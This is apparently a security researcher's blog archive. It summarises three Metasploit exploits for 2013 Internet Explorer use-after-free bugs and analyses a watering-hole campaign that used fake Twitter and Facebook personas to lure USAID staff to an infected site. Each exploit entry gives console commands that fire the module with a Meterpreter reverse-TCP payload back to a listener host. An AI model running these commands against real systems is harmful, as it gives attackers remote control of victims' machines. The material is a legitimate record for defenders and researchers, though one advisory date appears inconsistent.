Tag Archives: Internet Explorer 0day

CVE-2013-3897 Microsoft Internet Explorer CDisplayPointer Use-After-Free

Exploits, Metasploit, , , , ,

Timeline :

Vulnerability discovered exploited in the wild the 2013-09
Patched by the vendor via MS13-080 the 2013-10-08
Metasploit PoC provided the 2013-10-12

PoC provided by :

Unknown
sinn3r

Reference(s) :

CVE-2013-3897
MS13-080

Affected version(s) :

Internet Explorer 6, 7, 8, 9, 10 and 11.

Tested on :

with Internet Explorer 8 on Windows XP SP3

Description :

This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a “onpropertychange” event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called “onselect”. The “onselect” event will allow us to set up for the actual event handler we want to abuse – the “onpropertychange” event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in “onselect”, this will trigger “onpropertychange”. During “onpropertychange” event handling, a free of the CDisplayPointer object can be forced by using an “Unslect” (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer’s position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user.

Commands :

use exploit/windows/browser/ms13_080_cdisplaypointer
set RHOST 192.168.6.143
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
exploit

getuid
sysinfo

CVE-2013-3893 Microsoft Internet Explorer SetMouseCapture UAF

Exploits, Metasploit, , , , , ,

Timeline :

Vulnerability discovered exploited in the wild the 2013-08-23
Microsoft publish Microsoft Security Advisory 288750 the 2014-09-17
Microsoft publish a Fix it workaround the 2013-09-17
Metasploit PoC provided the 2013-09-30
Patched by the vendor via MS13-080 the 2013-10-08

PoC provided by :

Unknown
sinn3r
Rich Lundeen

Reference(s) :

CVE-2013-3893
MS13-080
MSA-2887505

Affected version(s) :

Internet Explorer 6, 7, 8, 9, 10 and 11.

Tested on :

with Internet Explorer 8 on Windows XP SP3

Description :

This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and pass on to more functions, eventually this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack.

Commands :

use exploit/windows/browser/ie_setmousecapture_uaf
set RHOST 192.168.6.143
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
exploit

getuid
sysinfo

CVE-2013-3163 Microsoft Internet Explorer CAnchorElement UAF

Exploits, Metasploit, , , ,

Timeline :

Vulnerability discovered exploited in targeted attacks
Vulnerability reported to the vendor by Jose Antonio Vazquez Gonzalez via VeriSign iDefense Labs
Patched by the vendor the 2013-07-09
Metasploit PoC provided the 2013-09-09

PoC provided by :

Jose Antonio Vazquez Gonzalez
Orange Tsai
Peter Vreugdenhil
sinn3r

Reference(s) :

CVE-2013-3163
OSVDB-94981
MS13-055

Affected version(s) :

All versions of Internet Explorer 8 on Windows.

Tested on :

with Internet Explorer 8 on Windows 7 SP1

Description :

In IE8 standards mode, it’s possible to cause a use-after-free condition by first creating an illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being a sub table element. When the CPhraseElement’s outer content is reset by using either outerText or outerHTML through an event handler, this triggers a free of its child element (in this case, a CAnchorElement, but some other objects apply too), but a reference is still kept in function SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next functions, eventually used in mshtml!CElement::Doc when it’s trying to make a call to the object’s SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take advantage of this by first creating an CAnchorElement object, let it free, and then replace the freed memory with another fake object. Successfully doing so may allow arbitrary code execution under the context of the user. This bug is specific to Internet Explorer 8 only. It was originally discovered by Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again by Orange Tsai at Hitcon 2013.

Commands :

use exploit/windows/browser/ms13_055_canchor
set RHOST 192.168.6.143
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
exploit

sysinfo

DOL Watering Hole Campaign and Sexy Swedish Soccer Supporter

Various, , , , , ,

As I explained in my previous blog post, nine websites were involved in the DOL watering hole campaign. The first involved website was University Research Co. Cambodia (www[.]urccambodia[.]org) from 2013-03-15 to 2013-04-29. This website came out of the context of other websites used in this watering hole campaign.

The Better Health Services (BHS) is a USAID-funded health systems strengthening project in Cambodia that began in January 2009 and runs through December 2013. The BHS project’s goals dovetail with the mission of the Ministry of Health as stated in the Cambodian Health Strategic Plan 2008-2015 (HSP2) “to provide stewardship for the entire health sector and to ensure a supportive environment for increased demand and equitable access to quality health services in order that all the peoples of Cambodia are able to achieve the highest level of health and well-being.”

By continuing my researches on the gathered information’s found on dol[.]ns01[.]us backend and focusing on all information’s related to University Research Co. Cambodia website, I found some interesting behaviours.

In all the gathered information’s I firstly found a connection referer to www[.]urccambodia[.]org, this referer was a shortened URL http://t[.]co/RnWc0Z13Sc. Doing a google research on this shortened URL we can find a tweet from @natividad_usaid, dating from 2013-03-18.

natividad_usaid-1

If you observe @natividad_usaid, you will see that the account activity has begun the March 18th and finished the April 10th. Mostly all of the tweet have provide link to www[.]urccambodia[.]org, during the time of this website infection. Some twitter users were directly contacted in order to incite them to click to the link and most of these users were related to USAID (US Agency for International Development).

natividad_usaid-2

 

natividad_usaid-5

natividad_usaid-4

But most interesting is the profile description of this account and especially the shortened URL goo[.]gl/kpb7r how lead to “this is my pic.scr” file hosted on Dropbox. By analyzing this file it appear that it is Poison Ivy (504a32e123194a298018129404a1374e).

natividad_usaid-profile

dropbox-poisonivy

A malwr analysis of this sample reveal that “microsoftUpdate[.]ns1[.]name” is the contacted C&C server and that “conime.exe” file is also created. This C&C server is the same as mentioned by Crowdstrike, AlienVault and other security researchers or vendors, but from “bookmark.png” payload involved in Internet Explorer 8 0day (CVE-2013-1347).

It seem that this twitter account was only created and used to incite USAID twitter users to be infected through a www[.]urccambodia[.]org visit.

By continuing to analyze www[.]urccambodia[.]org related gathered information’s, I found a second connection referer to www[.]urccambodia[.]org. This referer is the Facebook profile of Kelly Black “http://www.facebook.com/kelly.black.92754“.

This sexy lady, posing with a friend, pretend to have work for USAID, to have study at UVA College of Arts & Sciences Alumni, to live in Washington, District of Columbia and to be from Springfield, Illinois.

kelly-black-facebook-1

Kelly Black account activity has start and stopped the same day, the March 24th. Most of the posts of this “lady” are link to infected www[.]urccambodia[.]org website and/or to project around sanitation of Mekong waters organized by US organization’s.

kelly-black-facebook-2

kelly-black-facebook-3

kelly-black-facebook-4

kelly-black-facebook-5kelly-black-facebook-5

This sexy lady has, in one day of activity, 41 friends and most of these friends are from USAID or from others organization’s.

Now the funny part of the story, on the picture you can see two beautiful women with a yellow T-shirt and they seem to enjoy the live. One of the friends of Kelly Black was interesting to know which of the two she was, and the “bad guys” toke the time to respond to him 🙂

kelly-black-facebook-6

But I was intrigued by this picture and decided to compare this one on Internet, and ho miracle these ladies are not US women from Springfield, Illinois, but Swedish supporters who were photographed during European soccer cup in Poland/Ukraine.

You can find this photo through TinEye or Google pictures comparison services. This photo is present on different medias, ActionPlus, DailyMail and bunch of other websites.